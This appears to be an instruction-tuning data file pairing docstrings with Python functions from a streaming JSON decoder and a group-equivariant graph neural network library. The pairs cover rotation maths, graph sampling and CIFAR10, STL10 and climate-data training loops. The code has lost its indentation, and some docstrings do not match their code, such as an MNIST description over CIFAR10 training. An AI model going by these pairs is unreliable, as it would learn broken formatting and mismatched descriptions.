not desired.
``separator`` defaults to zero or more whitespace characters. You can
provide a different, but fixed width, separator if desired.. [/INST] def loads(
s, *, cls=None, object_hook=None, parse_float=None,
parse_int=None, parse_constant=None, object_pairs_hook=None,
pos=0,
separator=None,
**kw
):
if isinstance(s, str):
if s.startswith('\ufeff'):
raise JSONDecodeError("Unexpected UTF-8 BOM (decode using utf-8-sig)",
s, 0)
else:
if not isinstance(s, (bytes, bytearray)):
raise TypeError(f'the JSON object must be str, bytes or bytearray, '
f'not {s.__class__.__name__}')
s = s.decode('utf8')
cls, kw = _parse_kw(
cls, object_hook, parse_float, parse_int, parse_constant, object_pairs_hook, kw
)
next_pos, pos = get_first_pos_and_next_pos_func(separator)
return decode_stacked(s, cls(**kw), next_pos, pos)
[INST] Read enough data from the stream until:
the start of the next object is found (return true)
the delimiter check fails (raise an error)
the stream is empty (return false). [/INST] def next_pos(self):
while True:
new_pos = self.next_pos_helper(self.partial_doc, self.pos)
if new_pos is None:
if self._try_read(''):
continue
return False
else:
self.pos = new_pos
return True
[INST] Reads new data, and adds to any unparsed data.
Returns true if new data was read. [/INST] def _try_read(self, remaining_buffer):
if len(remaining_buffer) + self.bufsize > self.max_bufsize:
to_read = self.max_bufsize - len(remaining_buffer)
if to_read <= 0:
raise ValueError('max buffer size exceeded')
else:
to_read = self.bufsize
new = self.stream.read(to_read)
self.stream_offset += len(self.partial_doc) - len(remaining_buffer)
self.partial_doc = remaining_buffer + new
self.pos = 0
return bool(new)
[INST] Trains a model on MNIST and evaluates its performance on MNIST, Flip-MNIST and 90Rot-MNIST.. [/INST] def train(config=None):
with wandb.init(config=config, project="cheblienet"):
config = wandb.config
wandb.log({"dataset": "cifar10"})
wandb.log(vars(args))
device = torch.device("cuda" if torch.cuda.is_available() and args.cuda else "cpu")
if args.pool:
if args.anisotropic:
graph_lvl0 = SE2GEGraph(
[8, 8, config.ntheta],
K=config.K,
sigmas=(1.0, config.eps, config.xi_0),
path_to_graph=args.path_to_graph,
)
graph_lvl1 = SE2GEGraph(
[16, 16, config.ntheta],
K=config.K,
sigmas=(1.0, config.eps, config.xi_1),
path_to_graph=args.path_to_graph,
)
else:
graph_lvl0 = R2GEGraph(
[8, 8, 1],
K=config.K,
sigmas=(1.0, config.eps, config.xi_0),
path_to_graph=args.path_to_graph,
)
graph_lvl1 = R2GEGraph(
[16, 16, 1],
K=config.K,
sigmas=(1.0, config.eps, config.xi_1),
path_to_graph=args.path_to_graph,
)
if args.anisotropic:
graph_lvl2 = SE2GEGraph(
[32, 32, config.ntheta],
K=config.K,
sigmas=(1.0, config.eps, config.xi_2),
path_to_graph=args.path_to_graph,
)
else:
graph_lvl2 = R2GEGraph(
[32, 32, 1],
K=config.K,
sigmas=(1.0, config.eps, config.xi_2),
path_to_graph=args.path_to_graph,
)
model = WideResSE2GEChebNet(
in_channels=3,
out_channels=10,
kernel_size=config.kernel_size,
graph_lvl0=graph_lvl0 if args.pool else graph_lvl2,
graph_lvl1=graph_lvl1 if args.pool else None,
graph_lvl2=graph_lvl2 if args.pool else None,
res_depth=args.res_depth,
widen_factor=args.widen_factor,
reduction=args.reduction if args.pool else None,
).to(device)
wandb.log({"capacity": capacity(model)})
optimizer = Adam(model.parameters(), lr=args.lr)
train_loader, _ = get_train_val_loaders(
"cifar10",
num_layers=config.ntheta,
batch_size=args.batch_size,
val_ratio=0.0,
path_to_data=args.path_to_data,
)
(classic_test_loader, rotated_test_loader, flipped_test_loader,) = get_equiv_test_loaders(
"cifar10", num_layers=config.ntheta, batch_size=args.batch_size, path_to_data=args.path_to_data
)
trainer = create_supervised_trainer(
graph=graph_lvl2,
model=model,
optimizer=optimizer,
loss_fn=nll_loss,
device=device,
prepare_batch=prepare_batch,
)
ProgressBar(persist=False, desc="Training").attach(trainer)
classic_metrics = {"classic_test_accuracy": Accuracy(), "classic_test_loss": Loss(nll_loss)}
rotated_metrics = {"rotated_test_accuracy": Accuracy(), "rotated_test_loss": Loss(nll_loss)}
flipped_metrics = {"flipped_test_accuracy": Accuracy(), "flipped_test_loss": Loss(nll_loss)}
classic_evaluator = create_supervised_evaluator(
graph=graph_lvl2,
model=model,
metrics=classic_metrics,
device=device,
prepare_batch=prepare_batch,
)
ProgressBar(persist=False, desc="Evaluation").attach(classic_evaluator)
rotated_evaluator = create_supervised_evaluator(
graph=graph_lvl2,
model=model,
metrics=rotated_metrics,
device=device,
prepare_batch=prepare_batch,
)
ProgressBar(persist=False, desc="Evaluation").attach(rotated_evaluator)
flipped_evaluator = create_supervised_evaluator(
graph=graph_lvl2,
model=model,
metrics=flipped_metrics,
device=device,
prepare_batch=prepare_batch,
)
ProgressBar(persist=False, desc="Evaluation").attach(flipped_evaluator)
trainer.add_event_handler(Events.EPOCH_COMPLETED, wandb_log, classic_evaluator, classic_test_loader)
trainer.add_event_handler(Events.EPOCH_COMPLETED, wandb_log, rotated_evaluator, rotated_test_loader)
trainer.add_event_handler(Events.EPOCH_COMPLETED, wandb_log, flipped_evaluator, flipped_test_loader)
trainer.run(train_loader, max_epochs=args.max_epochs)
[INST] Extra representation of the Chebyschev convolutional layer.. [/INST] def extra_repr(self):
s = "in_channels={in_channels}, out_channels={out_channels}, kernel_size={kernel_size}"
if self.bias is None:
s += ", bias=False"
else:
s += ", bias=True"
return s.format(**self.__dict__)
[INST] Returns a new tensor corresponding to matrix formulation of the given input tensors representing
SO(3) group elements.. [/INST] def so3_matrix(alpha, beta, gamma, device=None):
R_alpha_z = rotation_matrix(alpha, "z", device)
R_beta_y = rotation_matrix(beta, "y", device)
R_gamma_z = rotation_matrix(gamma, "z", device)
return R_gamma_z @ R_beta_y @ R_alpha_z
[INST] Returns a new tensor corresponding to the inverse of the group elements in matrix formulation.. [/INST] def s2_inverse(G):
return torch.transpose(G, -1, -2)
[INST] Returns a new tensor corresponding to the inverse of the group elements in matrix formulation.. [/INST] def so3_inverse(G):
return torch.transpose(G, -1, -2)
[INST] Return new tensors corresponding to alpha, beta and gamma attributes of the group elements specified by the
S2 group elements in matrix formulation.. [/INST] def s2_element(G):
gamma = torch.atan2(G[..., 1, 0], G[..., 0, 0])
beta = torch.acos(G[..., 2, 2])
return beta, gamma
[INST] Return new tensors corresponding to alpha, beta and gamma attributes of the group elements specified by the
so3 group elements in matrix formulation.. [/INST] def so3_element(G):
gamma = torch.atan2(G[..., 1, 2], G[..., 0, 2])
sin = torch.sin(gamma)
cos = torch.cos(gamma)
beta = torch.atan2(cos * G[..., 0, 2] + sin * G[..., 1, 2], G[..., 2, 2])
alpha = torch.atan2(-sin * G[..., 0, 0] + cos * G[..., 1, 0], -sin * G[..., 0, 1] + cos * G[..., 1, 1])
return alpha, beta, gamma
[INST] Returns a new tensor containing the riemannnian logarithm of the group elements in matrix formulation.. [/INST] def s2_log(G):
beta, gamma = s2_element(G)
G = so3_matrix(-gamma, beta, gamma)
theta = torch.acos(((G[..., 0, 0] + G[..., 1, 1] + G[..., 2, 2]) - 1) / 2)
c1 = 0.5 * theta / torch.sin(theta) * (G[..., 2, 1] - G[..., 1, 2])
c2 = 0.5 * theta / torch.sin(theta) * (G[..., 0, 2] - G[..., 2, 0])
c3 = torch.zeros_like(c1)
mask = theta == 0.0
c1[mask] = 0.5 * G[mask, 2, 1] - G[mask, 1, 2]
c2[mask] = 0.5 * G[mask, 0, 2] - G[mask, 2, 0]
mask = theta == math.pi
c1[mask] = math.pi
c2[mask] = 0.0
c = torch.stack((c1, c2, c3), dim=-1).unsqueeze(2)
return c
[INST] Returns a new tensor containing the riemannnian logarithm of the group elements in matrix formulation.. [/INST] def so3_log(G):
theta = torch.acos(((G[..., 0, 0] + G[..., 1, 1] + G[..., 2, 2]) - 1) / 2)
c1 = 0.5 * theta / torch.sin(theta) * (G[..., 2, 1] - G[..., 1, 2])
c2 = 0.5 * theta / torch.sin(theta) * (G[..., 0, 2] - G[..., 2, 0])
c3 = 0.5 * theta / torch.sin(theta) * (G[..., 1, 0] - G[..., 0, 1])
mask = theta == 0.0
c1[mask] = 0.5 * G[mask, 2, 1] - G[mask, 1, 2]
c2[mask] = 0.5 * G[mask, 0, 2] - G[mask, 2, 0]
c3[mask] = 0.5 * G[mask, 1, 0] - G[mask, 0, 1]
mask = theta == math.pi
c1[mask] = math.pi
c2[mask] = 0.0
c3[mask] = 0.0
c = torch.stack((c1, c2, c3), dim=-1).unsqueeze(2)
return c
[INST] Return the squared riemannian distances between group elements in matrix formulation.. [/INST] def s2_riemannian_sqdist(Gg, Gh, Re):
G = torch.matmul(s2_inverse(Gg), Gh)
return weighted_norm(s2_log(G), Re)
[INST] Returns the squared riemannian distances between group elements in matrix formulation.. [/INST] def so3_riemannian_sqdist(Gg, Gh, Re):
G = torch.matmul(so3_inverse(Gg), Gh)
alpha, beta, gamma = so3_element(G)
sqdist1 = weighted_norm(so3_log(so3_matrix(alpha, beta, gamma)), Re)
sqdist2 = weighted_norm(so3_log(so3_matrix(alpha - math.pi, beta, gamma)), Re)
sqdist3 = weighted_norm(so3_log(so3_matrix(alpha + math.pi, beta, gamma)), Re)
sqdist, _ = torch.stack((sqdist1, sqdist2, sqdist3)).min(dim=0)
return sqdist
[INST] Make the graph undirected, that is create an inverse edge for each edge.. [/INST] def to_undirected(edge_index, edge_sqdist, edge_weight=None, num_vertices=None, max_sqdist=None, self_loop=False):
num_vertices = num_vertices or edge_index.max() + 1
sqdist_matrix = torch.sparse.FloatTensor(edge_index, edge_sqdist, torch.Size((num_vertices, num_vertices))).to_dense()
mask = sqdist_matrix.t() == sqdist_matrix
if max_sqdist is not None:
mask &= sqdist_matrix <= max_sqdist
undirected_sqdist_matrix = torch.zeros_like(sqdist_matrix)
undirected_sqdist_matrix[mask] = sqdist_matrix[mask]
undirected_sqdist_matrix = undirected_sqdist_matrix.to_sparse()
if edge_weight is not None:
weight_matrix = torch.sparse.FloatTensor(edge_index, edge_weight, torch.Size((num_vertices, num_vertices))).to_dense()
undirected_weight_matrix = torch.zeros_like(weight_matrix)
undirected_weight_matrix[mask] = weight_matrix[mask]
undirected_weight_matrix = undirected_weight_matrix.to_sparse()
edge_index = undirected_sqdist_matrix.indices()
edge_sqdist = undirected_sqdist_matrix.values()
if edge_weight is not None:
edge_weight = undirected_weight_matrix.values()
if self_loop:
if edge_weight is None:
return edge_index, edge_sqdist
return edge_index, edge_sqdist, edge_weight
return remove_self_loops(edge_index, edge_sqdist, edge_weight)
[INST] Removes all self-loop in the graph.. [/INST] def remove_self_loops(edge_index, edge_sqdist, edge_weight=None):
mask = edge_index[0] != edge_index[1]
if edge_weight is None:
return edge_index[..., mask], edge_sqdist[mask]
return edge_index[..., mask], edge_sqdist[mask], edge_weight[mask]
[INST] Add a self-loop for each vertex of the graph.. [/INST] def add_self_loops(edge_index, edge_attr, weight=1.0):
self_loop_index = edge_index[0].unique().unsqueeze(0).repeat(2, 1)
self_loop_attr = weight * torch.ones(self_loop_index.shape[1])
edge_index = torch.cat((self_loop_index, edge_index), dim=1)
edge_attr = torch.cat((self_loop_attr, edge_attr))
return edge_index, edge_attr
[INST] U-net-like model training on ClimateNet for the segmentation of extreme meteorogolical events.. [/INST] def train(config=None):
with wandb.init(config=config, project="cheblienet"):
config = wandb.config
wandb.log({"dataset": "artc"})
wandb.log(vars(args))
device = torch.device("cuda" if torch.cuda.is_available() and args.cuda else "cpu")
if args.anisotropic:
graph_lvl0 = SO3GEGraph(
size=[12, config.nalpha],
sigmas=(1.0, config.eps, config.xi_0),
K=config.K,
path_to_graph=args.path_to_graph,
)
graph_lvl1 = SO3GEGraph(
size=[42, config.nalpha],
sigmas=(1.0, config.eps, config.xi_1),
K=config.K,
path_to_graph=args.path_to_graph,
)
graph_lvl2 = SO3GEGraph(
size=[162, config.nalpha],
sigmas=(1.0, config.eps, config.xi_2),
K=config.K,
path_to_graph=args.path_to_graph,
)
graph_lvl3 = SO3GEGraph(
size=[642, config.nalpha],
sigmas=(1.0, config.eps, config.xi_3),
K=config.K,
path_to_graph=args.path_to_graph,
)
graph_lvl4 = SO3GEGraph(
size=[2562, config.nalpha],
sigmas=(1.0, config.eps, config.xi_4),
K=config.K,
path_to_graph=args.path_to_graph,
)
graph_lvl5 = SO3GEGraph(
size=[10242, config.nalpha],
sigmas=(1.0, config.eps, config.xi_5),
K=config.K,
path_to_graph=args.path_to_graph,
)
else:
graph_lvl0 = S2GEGraph(
size=[12, config.nalpha],
sigmas=(1.0, config.eps, config.xi_0),
K=config.K,
path_to_graph=args.path_to_graph,
)
graph_lvl1 = S2GEGraph(
size=[42, config.nalpha],
sigmas=(1.0, config.eps, config.xi_1),
K=config.K,
path_to_graph=args.path_to_graph,
)
graph_lvl2 = S2GEGraph(
size=[162, config.nalpha],
sigmas=(1.0, config.eps, config.xi_2),
K=config.K,
path_to_graph=args.path_to_graph,
)
graph_lvl3 = S2GEGraph(
size=[642, config.nalpha],
sigmas=(1.0, config.eps, config.xi_3),
K=config.K,
path_to_graph=args.path_to_graph,
)
graph_lvl4 = S2GEGraph(
size=[2562, config.nalpha],
sigmas=(1.0, config.eps, config.xi_4),
K=config.K,
path_to_graph=args.path_to_graph,
)
graph_lvl5 = S2GEGraph(
size=[10242, config.nalpha],
sigmas=(1.0, config.eps, config.xi_5),
K=config.K,
path_to_graph=args.path_to_graph,
)
output_graph = S2GEGraph(
size=[10242, 1],
sigmas=(1.0, 1.0, 1.0),
K=config.K,
path_to_graph=args.path_to_graph,
)
model = SO3GEUChebNet(
16,
3,
config.kernel_size,
graph_lvl0,
graph_lvl1,
graph_lvl2,
graph_lvl3,
graph_lvl4,
graph_lvl5,
output_graph,
args.reduction,
args.expansion,
).to(device)
wandb.log({"capacity": capacity(model)})
optimizer = Adam(model.parameters(), lr=args.lr)
train_loader, _ = get_train_val_loaders(
"artc",
batch_size=args.batch_size,
num_layers=config.nalpha,
val_ratio=0.0,
path_to_data=args.path_to_data,
)
test_loader = get_test_loader(
"artc", batch_size=args.batch_size, num_layers=config.nalpha, path_to_data=args.path_to_data
)
trainer = create_supervised_trainer(
graph=graph_lvl5,
model=model,
optimizer=optimizer,
loss_fn=nll_loss,
device=device,
prepare_batch=prepare_batch,
)
ProgressBar(persist=False, desc="Training").attach(trainer)
cm = ConfusionMatrix(num_classes=3)
miou = mIoU(cm)
miou_wo_bg = mIoU(cm, ignore_index=0)
f1 = Fbeta(1, precision=Precision(average=False), recall=Recall(average=False))
acc_bg = PerClassAccuracy(0)
acc_ar = PerClassAccuracy(1)
acc_tc = PerClassAccuracy(2)
mean_average_precision = AveragePrecision(output_transform=output_transform_mAP)
loss = Loss(nll_loss)
metrics = {
"test_F1": f1,
"test_mIoU": miou,
"test_mIoU_bg": miou_wo_bg,
"test_loss": loss,
"test_acc_bg": acc_bg,
"test_acc_ar": acc_ar,
"test_acc_tc": acc_tc,
"test_mAP": mean_average_precision,
}
evaluator = create_supervised_evaluator(
graph=graph_lvl5,
model=model,
metrics=metrics,
device=device,
prepare_batch=prepare_batch,
)
ProgressBar(persist=False, desc="Evaluation").attach(evaluator)
_ = trainer.add_event_handler(Events.EPOCH_COMPLETED, wandb_log, evaluator, test_loader)
trainer.run(train_loader, max_epochs=args.max_epochs)
[INST] Gets training configuration for bayesian hyper-parameters optimization.. [/INST] def build_sweep_config() -> dict:
sweep_config = {
"method": "bayes",
"metric": {"name": "validation_accuracy", "goal": "maximize"},
}
parameters = {
"batch_size": {"distribution": "categorical", "values": [8, 16, 32]},
"kernel_size": {"distribution": "categorical", "values": [2, 3, 4, 5, 6]},
"K": {"distribution": "categorical", "values": [8, 16, 32]},
"xi": {"distribution": "log_uniform", "min": math.log(1e-4), "max": math.log(1e-1)},
"ntheta": {"distribution": "int_uniform", "min": 2, "max": 9},
"eps": {"distribution": "log_uniform", "min": math.log(1e-2), "max": math.log(1)},
}
sweep_config["parameters"] = parameters
return sweep_config
[INST] Bayesian hyper-parameters optimization on CIFAR10.. [/INST] def train(config=None):
with wandb.init(config=config):
config = wandb.config
wandb.log({"dataset": "cifar10"})
wandb.log(vars(args))
device = torch.device("cuda" if torch.cuda.is_available() and args.cuda else "cpu")
graph_lvl0 = SE2GEGraph(
[8, 8, config.ntheta],
K=config.K,
sigmas=(1.0, config.eps, config.xi * 16),
path_to_graph=args.path_to_graph,
)
graph_lvl1 = SE2GEGraph(
[16, 16, config.ntheta],
K=config.K,
sigmas=(1.0, config.eps, config.xi * 4),
path_to_graph=args.path_to_graph,
)
graph_lvl2 = SE2GEGraph(
[32, 32, config.ntheta],
K=config.K,
sigmas=(1.0, config.eps, config.xi),
path_to_graph=args.path_to_graph,
)
model = WideResSE2GEChebNet(
in_channels=3,
out_channels=10,
kernel_size=config.kernel_size,
graph_lvl0=graph_lvl0,
graph_lvl1=graph_lvl1,
graph_lvl2=graph_lvl2,
res_depth=args.res_depth,
widen_factor=args.widen_factor,
reduction=args.reduction if args.pool else None,
).to(device)
wandb.log({"capacity": capacity(model)})
optimizer = Adam(model.parameters(), lr=args.lr)
train_loader, val_loader = get_train_val_loaders(
"cifar10",
batch_size=config.batch_size,
val_ratio=0.3,
path_to_data=args.path_to_data,
)
trainer = create_supervised_trainer(
graph=graph_lvl2,
model=model,
optimizer=optimizer,
loss_fn=nll_loss,
device=device,
prepare_batch=prepare_batch,
)
ProgressBar(persist=False, desc="Training").attach(trainer)
metrics = {"validation_accuracy": Accuracy(), "validation_loss": Loss(nll_loss)}
evaluator = create_supervised_evaluator(
graph=graph_lvl2,
model=model,
metrics=metrics,
device=device,
prepare_batch=prepare_batch,
)
ProgressBar(persist=False, desc="Evaluation").attach(evaluator)
trainer.add_event_handler(Events.EPOCH_COMPLETED, wandb_log, evaluator, val_loader)
trainer.run(train_loader, max_epochs=args.max_epochs)
[INST] Trains a model on STL10 and evaluates its performance on STL10, Flip-STL10 and 90Rot-STL10.. [/INST] def train(config=None):
with wandb.init(config=config, project="cheblienet"):
config = wandb.config
wandb.log({"dataset": "stl10"})
wandb.log(vars(args))
device = torch.device("cuda" if torch.cuda.is_available() and args.cuda else "cpu")
if args.anisotropic:
graph_lvl0 = SE2GEGraph(
[24, 24, config.ntheta],
K=config.K,
sigmas=(1.0, config.eps, config.xi_0),
path_to_graph=args.path_to_graph,
)
graph_lvl1 = SE2GEGraph(
[48, 48, config.ntheta],
K=config.K,
sigmas=(1.0, config.eps, config.xi_1),
path_to_graph=args.path_to_graph,
)
graph_lvl2 = SE2GEGraph(
[96, 96, config.ntheta],
K=config.K,
sigmas=(1.0, config.eps, config.xi_2),
path_to_graph=args.path_to_graph,
)
else:
graph_lvl0 = R2GEGraph(
[24, 24, 1],
K=config.K,
sigmas=(1.0, config.eps, config.xi_0),
path_to_graph=args.path_to_graph,
)
graph_lvl1 = R2GEGraph(
[48, 48, 1],
K=config.K,
sigmas=(1.0, config.eps, config.xi_1),
path_to_graph=args.path_to_graph,
)
graph_lvl2 = R2GEGraph(
[96, 96, 1],
K=config.K,
sigmas=(1.0, config.eps, config.xi_2),
path_to_graph=args.path_to_graph,
)
model = WideResSE2GEChebNet(
in_channels=3,
out_channels=10,
kernel_size=config.kernel_size,
graph_lvl0=graph_lvl0,
graph_lvl1=graph_lvl1,
graph_lvl2=graph_lvl2,
res_depth=args.res_depth,
widen_factor=args.widen_factor,
reduction=args.reduction,
).to(device)
wandb.log({"capacity": capacity(model)})
optimizer = Adam(model.parameters(), lr=args.lr)
train_loader, _ = get_train_val_loaders(
"stl10",
batch_size=args.batch_size,
val_ratio=0.0,
num_layers=config.ntheta,
path_to_data=args.path_to_data,
)
test_loader = get_test_loader(
"stl10", batch_size=args.batch_size, num_layers=config.ntheta, path_to_data=args.path_to_data
)
trainer = create_supervised_trainer(
graph=graph_lvl2,
model=model,
optimizer=optimizer,
loss_fn=nll_loss,
device=device,
prepare_batch=prepare_batch,
)
ProgressBar(persist=False, desc="Training").attach(trainer)
metrics = {"test_accuracy": Accuracy(), "test_loss": Loss(nll_loss)}
evaluator = create_supervised_evaluator(
graph=graph_lvl2,
model=model,
metrics=metrics,
device=device,
prepare_batch=prepare_batch,
)
ProgressBar(persist=False, desc="Evaluation").attach(evaluator)
trainer.add_event_handler(Events.EPOCH_COMPLETED, wandb_log, evaluator, test_loader)
trainer.run(train_loader, max_epochs=args.max_epochs)
[INST] Factory function for creating a trainer for supervised models.. [/INST] def create_supervised_trainer(
graph,
model,
optimizer,
loss_fn,
device=None,
prepare_batch=None,
output_transform=None,
):
device = device or torch.device("cpu")
prepare_batch = prepare_batch if prepare_batch is not None else lambda x, y: (x, y)
output_transform = output_transform if output_transform is not None else lambda x, y, y_pred, loss: loss.item()
def _update(engine, batch):
model.train()
optimizer.zero_grad()
x, y = prepare_batch(batch, graph, device)
y_pred = model(x)
loss = loss_fn(y_pred, y)
loss.backward()
optimizer.step()
return output_transform(x, y, y_pred, loss)
trainer = Engine(_update)
return trainer
[INST] Factory function for creating an evaluator for supervised models.. [/INST] def create_supervised_evaluator(graph, model, metrics=None, device=None, prepare_batch=None, output_transform=None):
metrics = metrics or {}
device = device or torch.device("cpu")
prepare_batch = prepare_batch if prepare_batch is not None else lambda x, y: (x, y)
output_transform = output_transform if output_transform is not None else lambda x, y, y_pred: (y_pred, y)
def _inference(engine, batch):
model.eval()
with torch.no_grad():
x, y = prepare_batch(batch, graph, device)
y_pred = model(x)
return output_transform(x, y, y_pred)
evaluator = Engine(_inference)
for name, metric in metrics.items():
metric.attach(evaluator, name)
return evaluator
[INST] Download the dataset if it doesn't already exist.. [/INST] def download(self):
if not self.check_exists():
download_and_extract_archive(self.resource, download_root=os.path.split(self.path_to_data)[0])
else:
print("Data already exists")
[INST] Check if dataset already exists.. [/INST] def check_exists(self):
return os.path.exists(self.path_to_data)
[INST] Return a new tensor filled with rotation matrices.. [/INST] def rotation_matrix(angle, axis, device=None):
R = torch.zeros(angle.nelement(), 3, 3, device=device)
cos = torch.cos(angle)
sin = torch.sin(angle)
if axis == "x":
R[..., 0, 0] = 1.0
R[..., 1, 1] = cos
R[..., 1, 2] = -sin
R[..., 2, 1] = sin
R[..., 2, 2] = cos
if axis == "y":
R[..., 0, 0] = cos
R[..., 0, 2] = sin
R[..., 2, 0] = -sin
R[..., 2, 2] = cos
R[..., 1, 1] = 1.0
if axis == "z":
R[..., 0, 0] = cos
R[..., 0, 1] = -sin
R[..., 1, 0] = sin
R[..., 1, 1] = cos
R[..., 2, 2] = 1.0
return R
[INST] Return new tensors corresponding to angle representation from the cartesian representation.
Warning: x, y, z have to be on the 1-sphere.. [/INST] def xyz2betagamma(x, y, z):
beta = torch.acos(z)
gamma = torch.atan2(y, x)
return beta, gamma
[INST] Returns new tensors corresponding to angle representation from the cartesian representation.. [/INST] def betagamma2xyz(beta, gamma, axis=None):
if axis == "x":
return torch.sin(beta) * torch.cos(gamma)
if axis == "y":
return torch.sin(beta) * torch.sin(gamma)
if axis == "z":
return torch.cos(beta)
x = torch.sin(beta) * torch.cos(gamma)
y = torch.sin(beta) * torch.sin(gamma)
z = torch.cos(beta)
return x, y, z
[INST] Check if input is a numpy object.. [/INST] def _is_numpy(input):
return isinstance(input, np.ndarray)
[INST] Convert a ``PIL Image`` to a tensor of the same type.
This function does not support torchscript.. [/INST] def pil_to_tensor(input):
if not _is_pil_image(input):
raise TypeError("input should be PIL Image. Got {}".format(type(input)))
default_float_dtype = torch.get_default_dtype()
if input.mode == "I":
output = torch.from_numpy(np.array(input, np.int32, copy=False))
elif input.mode == "I;16":
output = torch.from_numpy(np.array(input, np.int16, copy=False))
elif input.mode == "F":
output = torch.from_numpy(np.array(input, np.float32, copy=False))
elif input.mode == "1":
output = 255 * torch.from_numpy(np.array(input, np.uint8, copy=False))
else:
output = torch.ByteTensor(torch.ByteStorage.from_buffer(input.tobytes()))
output = output.view(input.size[1], input.size[0], len(input.getbands()))
output = output.permute((2, 0, 1)).contiguous()
if isinstance(output, torch.ByteTensor):
return output.to(dtype=default_float_dtype).div(255)
else:
return output
[INST] Return the diffusion kernel of the graph specified by the kernel input.. [/INST] def diff_kernel(self, kernel):
lambdas, Phi = self.get_eigen_space()
return Phi @ np.diag(kernel(lambdas)) @ Phi.T
[INST] Return the total number of vertices of the graph.. [/INST] def num_vertices(self):
return self.vertex_index.shape[0]
[INST] Return the total number of edges of the graph.. [/INST] def num_edges(self):
return self.edge_index.shape[1]
[INST] Returns the vertex's neighborhood.. [/INST] def neighborhood(self, vertex_index):
if not vertex_index in self.vertex_index:
raise ValueError(f"{vertex_index} is not a valid vertex index")
mask = self.edge_index[0] == vertex_index
return self.edge_index[1, mask], self.edge_weight[mask], self.edge_sqdist[mask]
[INST] Save graph's attributes.. [/INST] def save(self, path_to_graph):
os.makedirs(path_to_graph, exist_ok=True)
torch.save(self.vertex_index, os.path.join(path_to_graph, f"{self.hash_repr()}_vertex_index.pt"))
torch.save(self.edge_index, os.path.join(path_to_graph, f"{self.hash_repr()}_edge_index.pt"))
torch.save(self.edge_sqdist, os.path.join(path_to_graph, f"{self.hash_repr()}_edge_sqdist.pt"))
torch.save(self.edge_weight, os.path.join(path_to_graph, f"{self.hash_repr()}_edge_weight.pt"))
for vertex_attr in self.vertex_attributes:
torch.save(getattr(self, vertex_attr), os.path.join(path_to_graph, f"{self.hash_repr()}_{vertex_attr}.pt"))
[INST] Load graph's attributes.. [/INST] def load(self, path_to_graph):
self.vertex_index = torch.load(os.path.join(path_to_graph, f"{self.hash_repr()}_vertex_index.pt"))
self.edge_index = torch.load(os.path.join(path_to_graph, f"{self.hash_repr()}_edge_index.pt"))
self.edge_sqdist = torch.load(os.path.join(path_to_graph, f"{self.hash_repr()}_edge_sqdist.pt"))
self.edge_weight = torch.load(os.path.join(path_to_graph, f"{self.hash_repr()}_edge_weight.pt"))
for vertex_attr in self.vertex_attributes:
setattr(self, vertex_attr, torch.load(os.path.join(path_to_graph, f"{self.hash_repr()}_{vertex_attr}.pt")))
[INST] Reinitialize random sub-graph vertices and edges' attributes.. [/INST] def reinit(self):
print("Reinit graph...")
if hasattr(self, "laplacian"):
del self.laplacian
self.vertex_index = self.graph.vertex_index.clone()
self.sub_vertex_index = self.vertex_index.clone()
for attr in self.graph.vertex_attributes:
setattr(self, attr, getattr(self.graph, attr))
self.edge_index = self.graph.edge_index.clone()
self.edge_weight = self.graph.edge_weight.clone()
self.edge_sqdist = self.graph.edge_sqdist.clone()
print("Done!")
[INST] Randomly samples a given rate of edges from the original graph to generate a random sub-graph.
The graph is assumed to be undirected and the probability for an edge to be sampled is proportional
to its weight.. [/INST] def edges_sampling(self, rate):
print("Sample edges...")
mask = self.graph.edge_index[0] < self.graph.edge_index[1]
edge_index = self.graph.edge_index[..., mask]
edge_weight = self.graph.edge_weight[mask]
edge_sqdist = self.graph.edge_sqdist[mask]
num_samples = math.ceil(rate * edge_weight.nelement())
sampled_edges = torch.multinomial(edge_weight, num_samples)
sampled_edge_index = edge_index[..., sampled_edges]
sampled_edge_weight = edge_weight[sampled_edges]
sampled_edge_sqdist = edge_sqdist[sampled_edges]
self.edge_index = torch.cat((sampled_edge_index.flip(0), sampled_edge_index), 1)
self.edge_weight = sampled_edge_weight.repeat(2)
self.edge_sqdist = sampled_edge_sqdist.repeat(2)
print("Done!")
[INST] Randomly samples a given rate of vertices from the original graph to generate a random subgraph.
All the vertices have the same probability being sampled and at the end of the algorithm, it only remains
edges between sampled vertices.
vertices' sampling is not compatible with pooling and unpooling operations for now. [/INST] def vertices_sampling(self, rate):
print("Sample vertices...")
num_samples = math.floor(rate * self.graph.num_vertices)
sampled_vertices, _ = torch.multinomial(torch.ones(self.graph.num_vertices), num_samples).sort()
self.vertex_index = torch.arange(num_samples)
self.sub_vertex_index = sampled_vertices.clone()
for attr in self.graph.vertex_attributes:
setattr(self, attr, getattr(self.graph, attr)[sampled_vertices])
vertex_mapping = torch.empty(self.graph.num_vertices, dtype=torch.long).fill_(-1)
vertex_mapping[self.graph.vertex_index[sampled_vertices]] = self.vertex_index
edge_index = vertex_mapping[self.graph.edge_index]
mask = (edge_index[0] >= 0) & (edge_index[1] >= 0)
self.edge_index = edge_index[:, mask]
self.edge_weight = self.graph.edge_weight[mask]
self.edge_sqdist = self.graph.edge_sqdist[mask]
print("Done!")
[INST] Returns the cartesian position of the graph's vertices.. [/INST] def cartesian_pos(self, axis=None):
x, y, z = self.graph.cartesian_pos()
if axis == "x":
return x[self.sub_vertex_index]
if axis == "y":
return y[self.sub_vertex_index]
if axis == "z":
return z[self.sub_vertex_index]
return x[self.sub_vertex_index], y[self.sub_vertex_index], z[self.sub_vertex_index]
[INST] Returns the graph's vertices attributes.. [/INST] def vertex_attributes(self):
return self.graph.vertex_attributes
[INST] Return the riemannian squared distance between GL(3) group elements Gg and Gh according to the
riemannian metric Re.. [/INST] def riemannian_sqdist(self, Gg, Gh, Re):
return se2_riemannian_sqdist(Gg, Gh, Re)
[INST] Return the group elements of graph's vertices.. [/INST] def group_element(self):
return self.vertex_x, self.vertex_y, self.vertex_theta
[INST] Return the general linear group elements of graph's vertices.. [/INST] def general_linear_group_element(self):
return se2_matrix(self.vertex_x, self.vertex_y, self.vertex_theta)
[INST] Return the name of the group's dimensions.. [/INST] def group_dim(self):
return ["x", "y", "theta"]
[INST] Return the cartesian positions of the graph's vertices.. [/INST] def cartesian_pos(self, axis=None):
if axis is None:
return self.vertex_x, self.vertex_y, self.vertex_theta
if axis == "x":
return self.vertex_x
if axis == "y":
return self.vertex_y
if axis == "z":
return self.vertex_theta
[INST] Returns the graph's vertices attributes.. [/INST] def vertex_attributes(self):
return ("vertex_x", "vertex_y", "vertex_theta")
[INST] Return the riemannian squared distance between GL(3) group elements Gg and Gh according to the
riemannian metric Re.. [/INST] def riemannian_sqdist(self, Gg, Gh, Re):
